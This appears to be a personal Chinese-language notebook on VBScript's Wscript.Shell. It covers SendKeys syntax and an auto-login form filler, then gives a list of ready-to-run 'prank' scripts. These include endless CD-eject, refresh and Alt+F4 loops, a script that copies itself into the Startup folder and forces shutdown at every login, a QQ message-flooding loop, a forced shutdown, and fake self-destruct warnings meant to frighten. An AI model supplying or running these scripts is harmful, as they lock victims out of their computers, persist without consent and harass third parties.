关于Wscript.Shell

· · 个人记录 

Set ws=CreateObject("Wscript.Shell")//创建变量
ws.sendkeys ("nihao")
ws.sendkeys("{x 10}")//发送10个字母x
Delay 200
ws.sendkeys("{ENTER}")
ws.sendkeys("%" + "{F4}")

shift -- "+"

Ctrl -- "^"

Alt -- "%"

Space -- " "

ENTER -- "{ENTER}"

↑ -- "{UP}"

vbs打开文件

dim program
program="程序路径"
set Wshell=CreateObject("Wscript.Shell")
set oexec=Wshell.Exec(program)
Wshell.Run "https:www.baidu.com" #打开网页，不用可以删掉。如果没有设置程序路径，自动用默认浏览器打开网页。
wscript.Sleep 2000 #程序睡眠时间，单位为ms'
Wshell.SendKeys "{TAB}"#模拟按键TAB，用来选择输入框
Wshell.SendKeys "账号" #模拟输入的字符串      
wscript.Sleep 1000
Wshell.SendKeys "{TAB}" 
Wshell.SendKeys "密码"         
Wshell.SendKeys "{ENTER}"#模拟按键ENTER，用来提交表单  
Wscript.quit
1.无限弹出光驱：
------------------------------------------------
set wmp=createobject("wmplayer.ocx") 
set cd=wmp.cdromcollection.item(0) 
do 
cd.eject 
loop 
------------------------------------------------
2.无尽语音报数：无限语音从1数到无限大。
------------------------------------------------
Set s = CreateObject("sapi.spvoice") 
i=0 
do 
s.speak i 
i=i+1 
loop 
------------------------------------------------
3.无尽刷新：慎用，如此刷新打开任务管理器都难，只能拔掉电源。
------------------------------------------------
set ws=createobject("wscript.shell") 
do 
ws.sendkeys "{f5}" 
loop 
------------------------------------------------
4.修改注册表：
------------------------------------------------
on error resume next 
set wr=createobject("scripting.filesystemobject") 
set ws=createobject("wscript.shell") 
set f = wr.getfile(wscript.scriptfullname) 
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") 
if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true 
ws.run"shutdown -p",vbhide
------------------------------------------------
5.QQ信息骚扰恶搞：打开好友的聊天对话框，然后记下聊天对话框的名称（如图：小敏），把下面代码里的小敏替换一下。代码中的“10”代表发送次数，把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可，当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。
------------------------------------------------
On Error Resume Next 
Dim wsh,ye 
set wsh=createobject("wscript.shell") 
for i=1 to 10 
wscript.sleep 700 
wsh.AppActivate("小敏") 
wsh.sendKeys "^v" 
wsh.sendKeys i 
wsh.sendKeys "%s" 
next 
wscript.quit
--------------------------------------------
6.直接关机：
------------------------------------------------
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
------------------------------------------------
7.不断按下alt+f4 ：打开任何程序都关掉
------------------------------------------------
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
do

wscript.sleep 2500 
WSHshell.SendKeys "%{F4}" 
loop 
------------------------------------------------
8.弹窗：
------------------------------------------------
msgbox"内容A"+chr(13)+"内容B"+chr(13)+"内容C",1,"标题"
将它们复制到文本中，将后缀改成“.vbs”就可以双击执行了。

其中“msgbox”代表Windows系统的弹窗警告，内容A、内容B、内容C是大家想在弹窗上显示的文字，而“标题”就是弹窗左上角类似系统警告一类的内容。另外，在“标题”前面的数字“1”代表调用系统按钮的样式，也可以换成2、3、4，共4种按钮样式供大家选择，写好内容的代码应该就是：msgbox"电脑即将自爆"+chr(13)+"请在15秒内离开座位"+chr(13)+"否则你死定了！",1,"系统自爆提醒"
只有弹窗，视觉效果是有了，但缺乏震撼力！要声色齐全才能唬到人。
所以还要来点语音说教。
再新建个文本文档，将以下代码复制进去
CreateObject("SAPI.SpVoice").Speak"内容"
把你想让电脑说出来的话输入在“内容”部分，同样保存为“.vbs”后缀即可。电脑就可以直接读出你输入的内容。